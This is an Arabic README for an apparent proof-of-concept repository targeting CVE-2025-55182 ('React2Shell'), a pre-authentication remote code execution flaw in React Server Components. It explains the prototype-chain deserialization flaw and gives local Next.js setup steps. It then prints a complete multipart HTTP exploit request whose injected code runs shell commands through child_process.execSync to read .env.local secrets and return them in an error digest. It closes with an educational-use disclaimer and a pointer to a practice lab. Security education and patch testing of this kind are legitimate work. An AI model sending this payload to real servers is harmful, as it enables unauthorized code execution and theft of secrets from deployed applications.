
يحتوي هذا المستودع على إثبات المفهوم (POC) لـ CVE-2025-55182، وهي ثغرة أمنية خطيرة (درجة CVSS 10.0) تسمح بتنفيذ التعليمات البرمجية عن بُعد قبل المصادقة، وتؤثر على مكونات خادم React، والمعروفة أيضًا باسم React2Shell.
⚠️ تحذير: هذا المستودع مخصص للأغراض التعليمية والبحث الأمني فقط. لا تستخدم هذا الثغرة ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
يحتوي هذا المستودع على عرض توضيحي لإثبات المفهوم لـ CVE-2025-55182، وهي ثغرة حرجة في تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة تؤثر على مكونات خادم React.
درجة CVSS: 10.0 (حرجة)
الإصدارات المتأثرة:
react-server-dom-parcel وreact-server-dom-turbopack وreact-server-dom-webpackCVE-2025-55182 هي ثغرة في إلغاء التسلسل غير الآمن في تنفيذ بروتوكول Flight لمكونات خادم React. تسمح الثغرة للمهاجمين غير المصادق عليهم بتنفيذ كود JavaScript عشوائي على الخادم عن طريق صياغة حمولات ضارة تستغل اجتياز سلسلة النموذج الأولي وأنماط الوصول غير الآمن إلى الخصائص.
تنشأ الثغرة من كيفية قيام مكونات خادم React بإلغاء تسلسل حمولات بروتوكول Flight. عند معالجة مراجع الوحدات، يستخدم الكود تدوين الأقواس للوصول إلى الخصائص (moduleExports[metadata[2]])، مما يؤدي إلى اجتياز سلسلة النموذج الأولي بأكملها في JavaScript. وهذا يسمح للمهاجمين بالإشارة إلى خصائص لم يتم تصديرها صراحة، بما في ذلك خاصية constructor، التي توفر الوصول إلى دالة Function العامة.
من خلال ربط تقنيات تلويث النموذج الأولي مع آليات معالجة القطع الداخلية في React، يمكن للمهاجم بناء حمولة تنفذ في النهاية كودًا عشوائيًا عبر دالة Function.
npx [email protected] poc-react2shell
cd poc-react2shell
أو استخدم هذا المستودع.
أنشئ ملف .env.local في جذر المشروع لتوضيح تأثير الثغرة:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
شغِّل خادم Next.js للتطوير:
npm run dev
يجب أن يبدأ الخادم على http://localhost:3000.
http://localhost:3000/POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 752
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
يجب أن يحتوي الرد على محتويات ملف .env.local الخاص بك في نص الرد:

تتكون الحمولة من ثلاثة حقول نموذج متعددة الأجزاء:
الحقل 0: كائن قطعة وهمي يحتوي على:
$1:__proto__:then)$B1337) يؤدي إلى تشغيل الثغرة_response ملوث بـ _prefix خبيث و_formData.getالحقل 1: مرجع إلى الحقل 0 ($@0)
الحقل 2: مصفوفة فارغة ([])
الكود الخبيث في _prefix يقرأ .env.local باستخدام child_process.execSync الخاص بـ Node.js ويُدرج النتيجة في خطأ digest.
تسمح هذه الثغرة للمهاجمين بما يلي:
مارس هذه الثغرة في سيناريو واقعي
هل تريد استغلال CVE-2025-55182 في بيئة CTF عملية؟ تحقق من OSS OopsSec Store، وهو مختبر ضعيف عمدًا مصمم للتدريب على الأمن الهجومي. تم تنفيذ هذه الثغرة كأحد الأعلام!
تم تقديم إثبات المفهوم هذا للأغراض التعليمية والبحث الأمني فقط. تأكد دائمًا من الحصول على إذن كتابي صريح قبل اختبار الثغرات الأمنية على أي نظام.